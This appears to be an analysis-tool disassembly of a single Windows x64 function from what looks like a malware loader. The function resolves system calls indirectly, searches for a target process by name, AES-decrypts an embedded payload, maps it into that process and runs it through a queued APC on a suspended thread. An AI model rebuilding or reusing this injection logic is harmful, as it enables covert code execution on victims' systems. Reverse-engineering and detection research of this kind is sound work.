Function at 0x140001fd0
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub rsp, 0x1b8
mov qword [rsp + 0x1a8], rdx
mov byte [rsp + 0x1a7], cl
mov rcx, qword [rsp + 0x1a8]
call section..text
cmp eax, 0xafb6548a
je 0x140002072
call fcn.140001ec0
cmp eax, 0
je 0x140002068
lea rcx, [0x14027ead0]
lea rdx, [0x14022fdd0]
add rdx, 0x4a
call fcn.140002d00
lea rcx, [0x14027eac0]
lea rdx, [0x14022fdd0]
add rdx, 0x11
call fcn.140002c70
xor eax, eax
mov ecx, eax
lea rdx, [0x14027ead0]
lea r8, [0x14027eac0]
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x14000206d
jmp 0x140002072
call fcn.140001a90
cmp eax, 0
jne 0x140002090
mov dword [rsp + 0x1b4], 0
jmp 0x140002c55
mov dword [rsp + 0x1a0], 0
mov qword [rsp + 0x198], 0
mov rax, qword [0x14022fdc0]
mov qword [rsp + 0x170], rax
mov rax, qword [0x14022fdc8]
mov qword [rsp + 0x178], rax
mov dword [rsp + 0x16c], 0x10
mov dword [rsp + 0x168], 0x5d230
mov dword [rsp + 0x164], 0
mov dword [rsp + 0x160], 0
lea rax, [rsp + 0x170]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x118], 0
mov eax, dword [rsp + 0x168]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x108], 0x100000
mov rax, qword [rsp + 0x110]
mov dword [rsp + 0x100], eax
mov dword [rsp + 0x104], 0
mov rdx, qword [0x14027ea70]
mov ecx, dword [0x14027ea60]
call fcn.1401f2420
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x138]
xor r8d, r8d
lea r9, [rsp + 0x110]
mov dword [rsp + 0x20], 0x3000
mov dword [rsp + 0x28], 4
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400021f7
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rcx, qword [rsp + 0x138]
lea rdx, [0x14024dd50]
mov r8d, 0x300f0
call fcn.140001e40
mov rcx, qword [rsp + 0x138]
add rcx, 0x300f0
lea rdx, [0x140202c80]
mov r8d, 0x2d140
call fcn.140001e40
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_LocalSize]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GlobalFlags]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GlobalHandle]
xor eax, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_LocalHandle]
mov rdx, qword [0x14027ea70]
mov ecx, dword [0x14027ea60]
call fcn.1401f2420
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x140]
xor r8d, r8d
lea r9, [rsp + 0x108]
mov dword [rsp + 0x20], 0x3000
mov dword [rsp + 0x28], 4
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400022c5
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xb0], rax
mov rdx, qword [0x14027ea58]
mov ecx, dword [0x14027ea48]
call fcn.1401f2420
mov rdx, qword [rsp + 0x140]
mov ecx, 5
mov r8d, 0x100000
xor eax, eax
mov r9d, eax
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002324
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
jmp 0x140002329
mov rax, qword [rsp + 0xb0]
cmp dword [rax], 0
je 0x140002395
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb0]
mov ecx, dword [rcx]
add rax, rcx
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rax + 0x40]
lea rdx, [0x14022ff90]
call fcn.1401f6d08
cmp eax, 0
jne 0x140002390
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x50]
mov dword [rsp + 0x160], eax
jmp 0x140002395
jmp 0x140002329
mov qword [rsp + 0x108], 0
mov rdx, qword [0x14027ea88]
mov ecx, dword [0x14027ea78]
call fcn.1401f2420
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x108]
mov r9d, 0x8000
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400023f5
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov qword [rsp + 0xc0], 0
mov ecx, dword [rsp + 0x160]
call fcn.140003060
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xc8], 0x30
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0xe0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov rdx, qword [0x14027e9c8]
mov ecx, dword [0x14027e9b8]
call fcn.1401f2420
lea rcx, [rsp + 0x120]
mov edx, 0x1fffff
lea r8, [rsp + 0xc8]
lea r9, [rsp + 0xb8]
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
jne 0x1400024ae
cmp qword [rsp + 0x120], 0
jne 0x1400024be
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x14027ea10]
mov ecx, dword [0x14027ea00]
call fcn.1401f2420
lea rcx, [rsp + 0x128]
mov edx, reloc.COMCTL32.dll_LBItemFromPt
xor eax, eax
mov r8d, eax
lea r9, [rsp + 0x100]
mov dword [rsp + 0x20], 0x40
mov dword [rsp + 0x28], 0x8000000
mov qword [rsp + 0x30], 0
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002528
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x14027e9e0]
mov ecx, dword [0x14027e9d0]
call fcn.1401f2420
mov rcx, qword [rsp + 0x128]
mov rdx, 0xffffffffffffffff
lea r8, [rsp + 0x148]
xor eax, eax
mov r9d, eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x48], 4
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x1400025b3
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x14027e9e0]
mov ecx, dword [0x14027e9d0]
call fcn.1401f2420
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x128]
lea r8, [rsp + 0x150]
xor eax, eax
mov r9d, eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0x10
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x14000263f
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov eax, dword [rsp + 0x16c]
mov r8d, eax
mov rdx, qword [rsp + 0x158]
mov cl, byte [rsp + 0x1a7]
lea r9, [rsp + 0x130]
call fcn.140001d50
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x60], rax
lea rcx, [0x14027eaf8]
lea rdx, [0x14022fdd0]
add rdx, 0x97
call fcn.140002d90
mov rcx, qword [rsp + 0x60]
lea rdx, [0x14027eaf8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x68], rax
lea rcx, [0x14027eb14]
lea rdx, [0x14022fdd0]
add rdx, 0xde
call fcn.140002e20
mov rcx, qword [rsp + 0x68]
lea rdx, [0x14027eb14]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x70], rax
lea rcx, [0x14027eb28]
lea rdx, [0x14022fdd0]
add rdx, 0x11c
call fcn.140002eb0
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14027eb28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x78], rax
lea rcx, [0x14027eb3c]
lea rdx, [0x14022fdd0]
add rdx, 0x15a
call fcn.140002f40
mov rcx, qword [rsp + 0x78]
lea rdx, [0x14027eb3c]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x80], rax
lea rcx, [0x14027eb50]
lea rdx, [0x14022fdd0]
add rdx, 0x193
call fcn.140002fd0
mov rcx, qword [rsp + 0x80]
lea rdx, [0x14027eb50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x190]
xor eax, eax
mov r8d, eax
mov r9d, 0x18
mov rdx, r8
mov dword [rsp + 0x20], 0xf0000000
call qword [rsp + 0xa8]
cmp eax, 0
jne 0x140002803
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x190]
mov edx, 0x800c
xor r8d, r8d
xor r9d, r9d
lea r10, [rsp + 0x188]
mov qword [rsp + 0x20], r10
call rax
cmp eax, 0
jne 0x140002846
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0x98]
mov r8d, dword [rsp + 0x16c]
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x188]
xor r9d, r9d
call rax
cmp eax, 0
jne 0x140002884
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0x90]
mov r8, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x190]
mov edx, 0x6610
xor r9d, r9d
lea r10, [rsp + 0x180]
mov qword [rsp + 0x20], r10
call rax
cmp eax, 0
jne 0x1400028cc
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rax, qword [rsp + 0x88]
mov r11, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x180]
xor edx, edx
xor r9d, r9d
lea r10, [rsp + 0x168]
mov r8d, r9d
mov qword [rsp + 0x20], r11
mov qword [rsp + 0x28], r10
call rax
cmp eax, 0
jne 0x140002919
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov r8d, dword [rsp + 0x168]
mov rdx, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x148]
call fcn.140001e40
mov qword [rsp + 0x110], 0
mov rdx, qword [0x14027ea88]
mov ecx, dword [0x14027ea78]
call fcn.1401f2420
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x138]
lea r8, [rsp + 0x110]
mov r9d, 0x8000
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002996
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x14027e9f8]
mov ecx, dword [0x14027e9e8]
call fcn.1401f2420
mov rdx, qword [rsp + 0x148]
mov rcx, 0xffffffffffffffff
call fcn.1401f2442
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x1400029de
jmp 0x1400029ee
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x14027ea40]
mov ecx, dword [0x14027ea30]
call fcn.1401f2420
mov rcx, qword [rsp + 0x128]
call fcn.1401f2442
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002a2f
jmp 0x140002a3f
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x14027e950]
mov ecx, dword [0x14027e940]
call fcn.1401f2420
mov rax, qword [rsp + 0x150]
mov r9, qword [rsp + 0x120]
lea rcx, [rsp + 0x118]
mov edx, 0x1fffff
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002ad0
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x14027e938]
mov ecx, dword [0x14027e928]
call fcn.1401f2420
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x150]
lea r8, [rsp + 0x110]
mov r9d, 1
lea rax, [rsp + 0x164]
mov qword [rsp + 0x20], rax
call fcn.1401f2442
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002b34
jmp 0x140002b44
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov qword [rsp + 0xf8], 0xfffffffffe363c80
mov rdx, qword [0x14027e998]
mov ecx, dword [0x14027e988]
call fcn.1401f2420
xor ecx, ecx
lea rdx, [rsp + 0xf8]
call fcn.1401f2442
mov dword [rsp + 0x1a0], eax
cmp eax, 0
je 0x140002b91
mov dword [rsp + 0x1b4], 1
jmp 0x140002c55
mov rdx, qword [0x14027e938]
mov ecx, dword [0x14027e928]
call fcn.1401f2420
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x150]
lea r8, [rsp + 0x110]
mov r9d, 0x10
lea rax, [rsp + 0x164]
mov qword [rsp + 0x20], rax
call fcn.1401f2442
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002bf5
jmp 0x140002c05
mov dword [rsp + 0x1b4], 0xffffffff
jmp 0x140002c55
mov rdx, qword [0x14027e9b0]
mov ecx, dword [0x14027e9a0]
call fcn.1401f2420
mov rcx, qword [rsp + 0x118]
xor eax, eax
mov edx, eax
call fcn.1401f2442
cmp eax, 0
setne al
mov cl, al
and cl, 1
movzx ecx, cl
mov dword [rsp + 0x1a0], ecx
test al, 1
jne 0x140002c4a
jmp 0x140002c55
mov dword [rsp + 0x1b4], 0xffffffff
mov eax, dword [rsp + 0x1b4]
add rsp, 0x1b8
ret